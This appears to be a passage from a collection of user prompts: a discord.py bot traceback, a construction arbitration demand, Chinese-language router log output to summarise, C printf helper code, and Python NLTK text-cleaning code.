"C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 1023, in invoke \n await injected(\\*ctx.args, \\*\\*ctx.kwargs) # type: ignore\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 238, in wrapped \n raise CommandInvokeError(exc) from exc\ndiscord.ext.commands.errors.CommandInvokeError: Command raised an exception: InFailedSqlTransaction: current transaction is aborted, commands ignored until end of transaction block\n\nit happens when answering a card in the !learn command.' -"Now after all this, the contractor is filing claims against the architect. Here is the Contractor's arbitration demands: DEMAND FOR ARBITRATION\nBY GOOD AND CHEAP CONSTRUCTION CORP.\nAND STATEMENT OF CLAIM\nClaimant Good + Cheap Construction Corp. (“Contractor”) hereby demands arbitration of its claims against Respondents Warbucks Enterprises LLC (“Warbucks”) and Columbia Architects PLLC (Architect”) under the Construction Arbitration Rules established by the American Arbitration Association, for the reasons set forth below.\nTHE ARBITRATION AGREEMENTS\n1. Contractor demands arbitration against Warbucks under the arbitration clause in the AIA A101-2007 Owner/Contractor Agreement executed by Warbucks and Contractor and dated as of September 1, [D-4] (the “Arbitration Clause”). Section 6.2 of the agreement shows that “Arbitration pursuant to Section 15.4 of Document A201-2007” has been checked off. The Arbitration Clause set forth in Section 15.4.1 of the latter document states in pertinent part as follows:\nIf the parties have selected arbitration as the method for binding dispute resolution in the Agreement, any Claim subject to, but not resolved by,\n- 2 -\nmediation shall be subject to arbitration which, unless the parties mutually agree otherwise, shall be administered by the American Arbitration Association in accordance with its Construction Industry Arbitration Rules in effect on the date of the Agreement.\n2. Contractor also demands arbitration against Architect pursuant to the arbitration clause in the AIA B101-2007 Agreement between Owner and Architect. Section 8.2.4 of the agreement shows that “Arbitration pursuant to Section 8.3 of this Agreement” has been checked off. The Arbitration Clause is Section 8.3.1 of the same document and states as follows:\n[A]ny claim, dispute or other matter in question arising out of or related to this Agreement subject to, but not resolved by, mediation shall be subject to arbitration which, unless the parties mutually agree otherwise, shall be administered by the American Arbitration Association in accordance with its Construction Industry Arbitration Rules in effect on the date of this Agreement.\n3. This paragraph requires arbitration of “any claim, dispute or other matter in question arising out of or related to [the agreement between Architect and Owner] ….” Contractor’s claims against Architect directly arise out of that agreement as well as out of the Owner/Contractor’s Agreement (which also has an arbitration clause) and, accordingly, are subject to arbitration even if Contractor does not have a direct agreement with Architect providing for arbitration.\n4. On October 20, [D-2] Architect filed a request to commence mediation with the American Arbitration Association, thereby putting in motion the condition precedent to arbitration. Mediation took place on March 30, [D-1], without resulting in a settlement of the issues. The condition precedent to arbitration has therefore been satisfied, and arbitration should proceed not just with respect to Architect’s claims against Owner but also with respect to Contractor’s claims against Architect.\nTHE PARTIES\n5. Claimant Good + Cheap Construction Corp. (referred to throughout this demand as “Contractor” as previously indicated) is a New York corporation engaged in providing general contracting and construction management services. Contractor concentrates in the construction of high-rise mixed-use buildings in the New York metropolitan area.\n6. At all relevant times and information and belief, respondent Warbucks Enterprises LLC (referred to throughout this demand as “Warbucks”) is and was a New York limited liability company with an office at 250 Park Avenue, New York, NY 10022. Warbucks is in the business of developing real estate for commercial and residential use.\n7. At all relevant times and upon information and belief, respondent Columbia Architects (referred to throughout this demand as “Architect”) is and was a firm of licensed New York architects providing architecture and interior design services, with an office at 180 Willoughby Avenue, Brooklyn, NY 11205.\n8. In May [D-5], Warbucks engaged Architect to draft and provide construction drawings for a twenty-story mixed-use condominium tower in Tribeca, City of New York, with commercial space on the ground floor and nineteen floors of high-end condominium units (one apartment per floor) (the “Project”). The engagement is reflected in the parties’ AIA B101-2007 professional services agreement (the “B101 Agreement”).\n9. After Architect was engaged, the contract for construction of the project was put out to bid in a competitive bidding process. Contractor was the successful bidder. An AIA A101-2007 Owner/Contractor Agreement with accompanying general conditions (A201-2007) was executed by Warbucks and Contractor. 10. The Contract provides for compensation to the Contractor based upon a fixed fee to be paid out in monthly increments keyed to percentage of completion during the three-year budgeted schedule for the Project. Contractor must submit monthly applications for payment (“Requisitions”), certify them as accurate, and send them to Architect for review and approval. Architect must then timely sign off on the Requisitions or, if any issues are found, promptly raise questions with Contractor about the issues and arrange for appropriate adjustment. Approved Requisitions are to be paid within fifteen days of receipt. The payable amount shall be the amount set forth in the Requisition less a retainage of 10%, which is to be held for payment at the conclusion of the Project. Any short payments by Owner in any given month would properly be shown on the next month’s Requisition as immediately due and payable.\nClaim against Owner.\n11. Contractor timely submitted monthly Requisitions to the Architect for approval throughout the course of Contractor’s work on the Project, and in every instance, Architect approved each such Requisition. Owner, however, did not comply with its obligations under the Owner/Contractor Agreement to pay within 15 days after receipt or to withhold only 10% of the amount due as retainage. Instead, Owner made a practice of regularly delaying payments by 60 days or more and then, upon making payment, withheld typically 20% of the amount due as purported retainage.\n12. Despite objections orally and in writing by Contractor, the Architect’s approval and the requirements of the Owner/Architect Agreement, Owner refused to cease the improper practices described above, resulting eventually, as of May [D-2], in an improperly withheld retainage amounting to $8,100,000 owed and unpaid to Contractor, twice the amount that was permitted. The written objections by Contractor during the six months leading up to April [D-2] expressly gave notice that continued failure to pay amounts due could leave Contractor with no choice but to stop work and bring collection proceedings. 13. Contractor finally was constrained to stop work in April [D-2], having submitted its Requisition No. 18 reflecting the work performed the previous month. Owner improperly refused to pay any part of that Requisition, including both the unpaid prior amounts reflected therein and the amount due for the month. The total amount due to Contractor for fees under the Agreement as of that date is $11,668,646.\n14. Because Owner materially breached the Owner/Contractor Agreement, Owner is liable to pay Contractor the profit it would have made on the remaining amounts due to it as provided for in the Agreement, including all retainage amounts, which add up to $9,773,376.\n15. In addition, because of lost opportunities to perform work on other, better paying projects while meeting its obligations under the Owner/Contractor Agreement, Contractor has been damaged in the amount of not less than $10 million in lost profits and must pay interest of not less than $200,000 on claims by subcontractors that Contractor could not pay because of Owner’s failures to pay the amounts due under the Owner/Contractor Agreement, a substantial portion of which was intended to cover the charges payable to subcontractors that Contractor was unable to pay.\nClaim against Architect\n16. Contractor timely submitted its Requisition to Architect (AFP # 18) for review and approval by Architect on or about May 12, [D-2]. Architect had previously approved all prior Requisitions Contractor had submitted.\n17. Requisition No. 18 included the unpaid balances that Architect had repeatedly approved in prior months, and that grew each month in proportion to the excessive retainage, withheld by Owner. The amount charged for new work during the month covered by Requisition No. 18 was precisely the same as the amount charged in each prior requisition and was based upon the same calculations that Architect had previously found acceptable. Notwithstanding these facts, Architect failed and refused to approve Requisition No. 18.\n18. Architect’s refusal to approve Requisition No. 18 was intentional and lacked any reasonable basis. Architect knew the terms of the Owner/Contractor Agreement, and understood that refusal to approve the Requisition interfered with the contractual intent of that agreement. On information and belief, Architect conspired with Warbucks to deny Contractor payment on the final Requisition. Accordingly, Architect’s conduct as aforesaid constituted tortious interference with the contractual relations between Contractor and Owner that caused direct financial harm to Contractor.\n19. By reason of the foregoing, Architect is liable to Contractor for all charges payable to Contractor under Requisition No. 18, i.e., $3,568,646, interest on the claims by subcontractors whom Contractor could not pay due to nonpayment of Requisitions, i.e., $200,000, and $10 million in lost profits on forgone opportunities.\nWHEREFORE, Claimant respectfully requests the Arbitrator(s) to issue an Award (1) finding Warbucks to have materially breached the Agreement by failure to pay compensation in accordance with the terms thereof and directing payment to Contractor of the sum of not less than $31,641,022, (2) finding Architect to be liable to Contractor for tortious interference with contractual relations and directing payment to Contractor of the sum of not less than $13,768,646, (3) awarding interest on the sums due at the legal rate, and (4) granting such other and further relief as to the Arbitrator(s) may seem just and proper." -"以下為設備發生問題的log，請協助整理並歸納異常log\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 fpc1 XMCHIP(0): XMCHIP(0): FI: Protect: Log Error 0x100, Log Address 0xeb, Multiple Errors 0x100\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 alarmd[16995]: Alarm set: FPC color=RED, class=CHASSIS, reason=FPC 1 Major Errors\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 craftd[15347]: Major alarm set, FPC 1 Major Errors\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 fpc1 Error: /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133), scope: pfe, category: functional, severity: major, module: XMCHIP(0), type: FI\\_PROTECT: Detected: Parity error for L2 Freepool SRAM\nMar 10 04:44:53 B03\\_MX2008-PE6.RE0 fpc1 Performing action cmalarm for error /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133) in module: XMCHIP(0) with scope: pfe category: functional level: major\nMar 10 04:44:53 B03\\_MX2008-PE6.RE0 fpc1 Performing action get-state for error /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133) in module: XMCHIP(0) with scope: pfe category: functional level: major\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 Performing action disable-pfe for error /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133) in module: XMCHIP(0) with scope: pfe category: functional level: major\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 780, ifAdminStatus up(1), ifOperStatus down(2), ifName ge-1/3/4\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/0 #244 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/1 #245 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/2 #246 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/3 #247 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/4 #248 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/5 #249 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/6 #250 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/7 #251 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/8 #252 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/9 #253 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/0 #254 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/1 #255 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/2 #256 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/3 #257 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/4 #258 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/5 #259 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/6 #260 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/7 #261 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/8 #262 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/9 #263 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 776, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/0\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 777, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/1\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 778, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/2\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 779, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/3\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 781, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/5\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 782, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/6\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 783, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/7\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 784, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/8\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 785, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/9\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/0 244\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/1 245\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/2 246\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/3 247\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/4 248\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/5 249\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/6 250\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/7 251\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/8 252\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/9 253\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/0 254\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/1 255\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/2 256\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/3 257\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/4 258\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/5 259\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/6 260\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/7 261\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/8 262\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/9 263\nMar 10 04:44:59 B03\\_MX2008-PE6.RE0 fpc1 Cmerror Op Set: XMCHIP(0): XMCHIP(0): FI: Protect: Parity error for L2 freepool SRAM (List pointers get dropped)" -'#include "main.h"\n\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* WRITE HANDLE \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\\*\n \\* handle\\_write\\_char - Prints a string\n \\* @c: char types.\n \\* @buffer: Buffer array to handle print\n \\* @flags: Calculates active flags.\n \\* @width: get width.\n \\* @precision: precision specifier\n \\* @size: Size specifier\n \\*\n \\* Return: Number of chars printed.\n \\*/\nint handle\\_write\\_char(char c, char buffer[],\n int flags, int width, int precision, int size)\n{ /\\* char is stored at left and paddind at buffer\'s right \\*/\n int i = 0;\n char padd = \' \';\n\n UNUSED(precision);\n UNUSED(size);\n\n if (flags & F\\_ZERO)\n padd = \'0\';\n\n buffer[i++] = c;\n buffer[i] = \'\\0\';\n\n if (width > 1)\n {\n buffer[BUFF\\_SIZE - 1] = \'\\0\';\n for (i = 0; i < width - 1; i++)\n buffer[BUFF\\_SIZE - i - 2] = padd;\n\n if (flags & F\\_MINUS)\n return (write(1, &buffer[0], 1) +\n write(1, &buffer[BUFF\\_SIZE - i - 1], width - 1));\n else\n return (write(1, &buffer[BUFF\\_SIZE - i - 1], width - 1) +\n write(1, &buffer[0], 1));\n }\n\n return (write(1, &buffer[0], 1));\n}\n\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* WRITE NUMBER \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\\*\n \\* write\\_number - Prints a string\n \\* @is\\_negative: Lista of arguments\n \\* @ind: char types.\n \\* @buffer: Buffer array to handle print\n \\* @flags: Calculates active flags\n \\* @width: get width.\n \\* @precision: precision specifier\n \\* @size: Size specifier\n \\*\n \\* Return: Number of chars printed.\n \\*/\nint write\\_number(int is\\_negative, int ind, char buffer[],\n int flags, int width, int precision, int size)\n{\n int length = BUFF\\_SIZE - ind - 1;\n char padd = \' \', extra\\_ch = 0;\n\n UNUSED(size);\n\n if ((flags & F\\_ZERO) && !(flags & F\\_MINUS))\n padd = \'0\';\n if (is\\_negative)\n extra\\_ch = \'-\';\n else if (flags & F\\_PLUS)\n extra\\_ch = \'+\';\n else if (flags & F\\_SPACE)\n extra\\_ch = \' \';\n\n return (write\\_num(ind, buffer, flags, width, precision,\n length, padd, extra\\_ch));\n}\n\n/\\*\\*\n \\* write\\_num - Write a number using a bufffer\n \\* @ind: Index at which the number starts on the buffer\n \\* @buffer: Buffer\n \\* @flags: Flags\n \\* @width: width\n \\* @prec: Precision specifier\n \\* @length: Number length\n \\* @padd: Pading char\n \\* @extra\\_c: Extra char\n \\*\n \\* Return: Number of printed chars.\n \\*/\nint write\\_num(int ind, char buffer[],\n int flags, int width, int prec,\n int length, char padd, char extra\\_c)\n{\n int i, padd\\_start = 1;\n\n if (prec == 0 && ind == BUFF\\_SIZE - 2 && buffer[ind] == \'0\' && width == 0)\n return (0); /\\* printf(".0d", 0) no char is printed \\*/\n if (prec == 0 && ind == BUFF\\_SIZE - 2 && buffer[ind] == \'0\')\n buffer[ind] = padd = \' \'; /\\* width is displayed with padding \' \' \\*/\n if (prec > 0 && prec < length)\n padd = \' \';\n while (prec > length)\n buffer[--ind] = \'0\', length++;\n if (extra\\_c != 0)\n length++;\n if (width > length)\n {\n for (i = 1; i < width - length + 1; i++)\n buffer[i] = padd;\n buffer[i] = \'\\0\';\n if (flags & F\\_MINUS && padd == \' \')/\\* Asign extra char to left of buffer \\*/\n {\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], length) + write(1, &buffer[1], i - 1));\n }\n else if (!(flags & F\\_MINUS) && padd == \' \')/\\* extra char to left of buff \\*/\n {\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[1], i - 1) + write(1, &buffer[ind], length));\n }\n else if (!(flags & F\\_MINUS) && padd == \'0\')/\\* extra char to left of padd \\*/\n {\n if (extra\\_c)\n buffer[--padd\\_start] = extra\\_c;\n return (write(1, &buffer[padd\\_start], i - padd\\_start) +\n write(1, &buffer[ind], length - (1 - padd\\_start)));\n }\n }\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], length));\n}\n\n/\\*\\*\n \\* write\\_unsgnd - Writes an unsigned number\n \\* @is\\_negative: Number indicating if the num is negative\n \\* @ind: Index at which the number starts in the buffer\n \\* @buffer: Array of chars\n \\* @flags: Flags specifiers\n \\* @width: Width specifier\n \\* @precision: Precision specifier\n \\* @size: Size specifier\n \\*\n \\* Return: Number of written chars.\n \\*/\nint write\\_unsgnd(int is\\_negative, int ind,\n char buffer[],\n int flags, int width, int precision, int size)\n{\n /\\* The number is stored at the bufer\'s right and starts at position i \\*/\n int length = BUFF\\_SIZE - ind - 1, i = 0;\n char padd = \' \';\n\n UNUSED(is\\_negative);\n UNUSED(size);\n\n if (precision == 0 && ind == BUFF\\_SIZE - 2 && buffer[ind] == \'0\')\n return (0); /\\* printf(".0d", 0) no char is printed \\*/\n\n if (precision > 0 && precision < length)\n padd = \' \';\n\n while (precision > length)\n {\n buffer[--ind] = \'0\';\n length++;\n }\n\n if ((flags & F\\_ZERO) && !(flags & F\\_MINUS))\n padd = \'0\';\n\n if (width > length)\n {\n for (i = 0; i < width - length; i++)\n buffer[i] = padd;\n\n buffer[i] = \'\\0\';\n\n if (flags & F\\_MINUS) /\\* Asign extra char to left of buffer [buffer>padd]\\*/\n {\n return (write(1, &buffer[ind], length) + write(1, &buffer[0], i));\n }\n else /\\* Asign extra char to left of padding [padd>buffer]\\*/\n {\n return (write(1, &buffer[0], i) + write(1, &buffer[ind], length));\n }\n }\n\n return (write(1, &buffer[ind], length));\n}\n\n/\\*\\*\n \\* write\\_pointer - Write a memory address\n \\* @buffer: Arrays of chars\n \\* @ind: Index at which the number starts in the buffer\n \\* @length: Length of number\n \\* @width: Wwidth specifier\n \\* @flags: Flags specifier\n \\* @padd: Char representing the padding\n \\* @extra\\_c: Char representing extra char\n \\* @padd\\_start: Index at which padding should start\n \\*\n \\* Return: Number of written chars.\n \\*/\nint write\\_pointer(char buffer[], int ind, int length,\n int width, int flags, char padd, char extra\\_c, int padd\\_start)\n{\n int i;\n\n if (width > length)\n {\n for (i = 3; i < width - length + 3; i++)\n buffer[i] = padd;\n buffer[i] = \'\\0\';\n if (flags & F\\_MINUS && padd == \' \')/\\* Asign extra char to left of buffer \\*/\n {\n buffer[--ind] = \'x\';\n buffer[--ind] = \'0\';\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], length) + write(1, &buffer[3], i - 3));\n }\n else if (!(flags & F\\_MINUS) && padd == \' \')/\\* extra char to left of buffer \\*/\n {\n buffer[--ind] = \'x\';\n buffer[--ind] = \'0\';\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[3], i - 3) + write(1, &buffer[ind], length));\n }\n else if (!(flags & F\\_MINUS) && padd == \'0\')/\\* extra char to left of padd \\*/\n {\n if (extra\\_c)\n buffer[--padd\\_start] = extra\\_c;\n buffer[1] = \'0\';\n buffer[2] = \'x\';\n return (write(1, &buffer[padd\\_start], i - padd\\_start) +\n write(1, &buffer[ind], length - (1 - padd\\_start) - 2));\n }\n }\n buffer[--ind] = \'x\';\n buffer[--ind] = \'0\';\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], BUFF\\_SIZE - ind - 1));\n}' -'import re\nimport string\nimport unicodedata\nimport nltk\n\nnltk.download(\'stopwords\', quiet=True)\nnltk.download(\'averaged\\_perceptron\\_tagger\', quiet=True)\nnltk.download(\'wordnet\', quiet=True)\nnltk.download(\'omw-1.4\', quiet=True)\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word\\_tokenize\nfrom nltk.probability import FreqDist\nfrom nltk.corpus import wordnet\nfrom nltk.stem import WordNetLemmatizer \nfrom nltk.tag import pos\\_tag\nimport warnings\nwarnings.filterwarnings(\'ignore\')\n\ndef nltk\\_tag\\_to\\_wordnet(nltk\\_tag):\n if nltk\\_tag.startswith(\'J\'):\n return \'a\'\n elif nltk\\_tag.startswith(\'V\'):\n return \'v\'\n elif nltk\\_tag.startswith(\'N\'):\n return \'n\'\n elif nltk\\_tag.startswith(\'R\'):\n return \'r\'\n \ndef get\\_lemmatized(text):\n # Tokenize\n #tokenized\\_sent = word\\_tokenize(sentence)\n # Tag\n tags = nltk.pos\\_tag(text)\n lemmatizer = WordNetLemmatizer()\n # Produce Lemmas\n lemmatized\\_sentence = []\n for tag in tags:\n pos\\_wordnet = nltk\\_tag\\_to\\_wordnet(tag[1])\n if pos\\_wordnet is not None:\n lemma = lemmatizer.lemmatize(tag[0], pos\\_wordnet)\n else:\n lemma = lemmatizer.lemmatize(tag[0])\n lemmatized\\_sentence.append(lemma)\n return lemmatized\\_sentence\n\n#def remove\\_proper\\_nouns(tagged\\_sent):\n# edited\\_sent = [word for word, tag in tagged\\_sent if tag != \'NNP\' and tag != \'NNPS\']\n# return edited\\_sent\n\ndef remove\\_duplicates(tokens):\n """\n Remove duplicate words in a list of tokens without changing the token ordering.\n \n Parameters:\n tokens (list): List of tokens\n \n Returns:\n list: List of tokens without duplicate words\n """\n seen = set()\n return [x for x in tokens if not (x in seen or seen.add(x))]\n\ndef clean\\_text(text,remove\\_proper\\_nouns=True,remove\\_rare\\_words=True,rare\\_word\\_threshold=1):\n \n \n # Lowercase the text\n #text= [r.lower() for r in text]\n \n # Lowercase the text\n text = text.lower()\n \n # Remove HTML tags\n text = BeautifulSoup(text, "html.parser").get\\_text()\n #text = [re.sub(r\'<.\\*?>\', \'\', word) for word in text]\n \n # Replace \\n or \\\\n with empty space\n #text = text.replace(\'\\n\', \' \')\n #text = text.replace(\'\\\\n\', \' \')\n text = text.replace(\'\\n\', \' \').replace(\'\\\\n\', \' \')\n \n #text = [word.replace(r\'\\n\', \'\', word) for word in text]\n #text = [word.replace(r\'\\\\n\', \'\', word) for word in text]\n \n # Remove non-sensical symbols and tags\n text = re.sub(r\'\\[.\\*?\\]\', \'\', text)\n text = re.sub(r\'\\<.\\*?\\>\', \'\', text)\n \n # Remove extra whitespace\n text = \' \'.join(text.split()) \n \n # Remove URLs/http links\n #text = re.sub(r\'http\\S+\', \'\', text)\n #pattern= r\'\\w+:\\/{2}[\\d\\w-]+(\\.[\\d\\w-]+)\\*(?:(?:\\/[^\\s/]\\*))\\*\'\n #text = [re.sub(r\'http\\S+\', \'\', word) for word in text]\n pattern= r\'http[s]?://\\S+\'\n #text = [re.sub( pattern, \'\', word) for word in text]\n text = re.sub(pattern, \'\', text)\n \n # Remove hyper links\n #text = re.sub(r\'\\w+:\\/\\/\\S+\', \'\', text)\n #text = [re.sub(r\'www\\.\\S+\', \'\', word) for word in text]\n pattern= r\'www\\.\\S+\'\n text = re.sub(pattern, \'\', text)\n \n # rempve bitly links\n #text = [re.sub(r\'bit.ly/\\S+\', \'\', word) for word in text]\n pattern= r\'bit.ly/\\S+\'\n text = re.sub(pattern, \'\', text)\n \n # Remove emails\n #text = 